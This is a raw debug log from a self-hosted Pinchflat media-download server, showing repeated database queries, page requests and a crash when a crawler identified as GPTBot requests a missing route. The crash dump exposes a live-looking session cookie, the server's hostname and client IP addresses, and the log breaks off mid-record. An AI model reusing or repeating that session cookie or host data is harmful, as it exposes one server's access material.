[debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=471.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:37:57.172 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:37:57.173 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:37:57.174 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.5ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:37:57.176 [info] Sent 200 in 8ms 20:38:00.454 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:15.587 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:22.480 [info] GET /sources/1/media/6 20:38:22.480 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6", "source_id" => "1"} Pipelines: [:browser] 20:38:22.481 [debug] QUERY OK source="media_items" db=0.8ms idle=1877.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 20:38:22.482 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=1878.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6] 20:38:22.482 [debug] QUERY OK source="sources" db=0.3ms idle=1878.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:38:22.483 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1732.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [9, 204] 20:38:22.483 [debug] QUERY OK source="settings" db=0.5ms idle=731.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:38:22.484 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:38:22.485 [debug] QUERY OK source="settings" db=0.5ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:38:22.486 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:38:22.488 [info] Sent 200 in 7ms 20:38:43.940 [info] GET /sources/1/media/410/edit 20:38:43.941 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "410", "source_id" => "1"} Pipelines: [:browser] 20:38:43.942 [debug] QUERY OK source="media_items" db=0.6ms idle=338.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 20:38:43.942 [debug] QUERY OK source="settings" db=0.1ms idle=338.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:38:43.943 [debug] QUERY OK source="settings" db=0.3ms idle=339.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:38:43.943 [debug] QUERY OK source="settings" db=0.2ms idle=340.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:38:43.944 [info] Sent 200 in 3ms 20:38:45.589 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.455 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:02.814 [info] GET /sources/1/media/412/edit 20:39:02.814 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "412", "source_id" => "1"} Pipelines: [:browser] 20:39:02.816 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1210.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [412] 20:39:02.818 [debug] QUERY OK source="settings" db=0.6ms queue=1.0ms idle=1211.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:02.820 [debug] QUERY OK source="settings" db=0.4ms queue=0.8ms idle=1213.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:02.822 [debug] QUERY OK source="settings" db=1.3ms idle=1215.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:02.823 [info] Sent 200 in 8ms 20:39:15.591 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:21.102 [info] GET /sources/1/media/391/edit 20:39:21.103 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "391", "source_id" => "1"} Pipelines: [:browser] 20:39:21.105 [debug] QUERY OK source="media_items" db=1.9ms idle=498.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [391] 20:39:21.106 [debug] QUERY OK source="settings" db=0.4ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:21.107 [debug] QUERY OK source="settings" db=0.6ms queue=0.7ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:21.110 [debug] QUERY OK source="settings" db=0.6ms queue=0.7ms idle=503.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:21.111 [info] Sent 200 in 8ms 20:39:37.317 [info] GET /sources/1/media/409/edit 20:39:37.317 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "409", "source_id" => "1"} Pipelines: [:browser] 20:39:37.318 [debug] QUERY OK source="media_items" db=0.7ms idle=712.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [409] 20:39:37.319 [debug] QUERY OK source="settings" db=0.1ms idle=713.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:37.319 [debug] QUERY OK source="settings" db=0.2ms idle=713.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:37.320 [debug] QUERY OK source="settings" db=0.2ms idle=714.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:37.321 [info] Sent 200 in 4ms 20:39:45.592 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:51.322 [info] GET /sources/1/media/406/edit 20:39:51.322 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "406", "source_id" => "1"} Pipelines: [:browser] 20:39:51.323 [debug] QUERY OK source="media_items" db=0.4ms idle=717.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [406] 20:39:51.324 [debug] QUERY OK source="settings" db=0.4ms idle=718.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:51.324 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=719.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:51.326 [debug] QUERY OK source="settings" db=0.7ms idle=719.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:51.326 [info] Sent 200 in 4ms 20:40:00.458 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:03.966 [info] GET /sources/1/media/407/edit 20:40:03.966 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "407", "source_id" => "1"} Pipelines: [:browser] 20:40:03.968 [debug] QUERY OK source="media_items" db=0.5ms queue=0.5ms idle=1357.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [407] 20:40:03.971 [debug] QUERY OK source="settings" db=1.9ms queue=0.4ms idle=1359.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:03.972 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=1361.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:03.973 [debug] QUERY OK source="settings" db=0.5ms idle=950.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:03.974 [info] Sent 200 in 8ms 20:40:15.596 [info] {"source":"oban","duration":1968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:16.070 [info] GET /sources/1/media/390/edit 20:40:16.070 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "390", "source_id" => "1"} Pipelines: [:browser] 20:40:16.072 [debug] QUERY OK source="media_items" db=1.1ms idle=475.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [390] 20:40:16.072 [debug] QUERY OK source="settings" db=0.4ms idle=462.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:16.073 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=462.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:16.074 [debug] QUERY OK source="settings" db=0.7ms idle=463.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:16.075 [info] Sent 200 in 5ms 20:40:26.130 [info] GET /sources/1/media/408/edit 20:40:26.130 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "408", "source_id" => "1"} Pipelines: [:browser] 20:40:26.131 [debug] QUERY OK source="media_items" db=0.7ms idle=520.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [408] 20:40:26.132 [debug] QUERY OK source="settings" db=0.6ms idle=521.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:26.133 [debug] QUERY OK source="settings" db=0.4ms idle=522.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:26.134 [debug] QUERY OK source="settings" db=0.5ms idle=523.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:26.135 [info] Sent 200 in 5ms 20:40:35.512 [info] GET /sources/1/media/392/edit 20:40:35.513 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "392", "source_id" => "1"} Pipelines: [:browser] 20:40:35.514 [debug] QUERY OK source="media_items" db=0.7ms idle=1903.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [392] 20:40:35.515 [debug] QUERY OK source="settings" db=0.6ms idle=1904.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:35.515 [debug] QUERY OK source="settings" db=0.3ms idle=1905.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:35.516 [debug] QUERY OK source="settings" db=0.6ms idle=1429.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:35.517 [info] Sent 200 in 4ms 20:40:44.147 [info] GET /sources/1/force_index 20:40:44.148 [debug] QUERY OK source="settings" db=0.7ms idle=1537.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:44.148 [debug] QUERY OK source="settings" db=0.2ms idle=1537.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:44.148 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:40:44.149 [error] #PID<0.4604.0> running PinchflatWeb.Endpoint (connection #PID<0.4603.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39096}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4604.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => 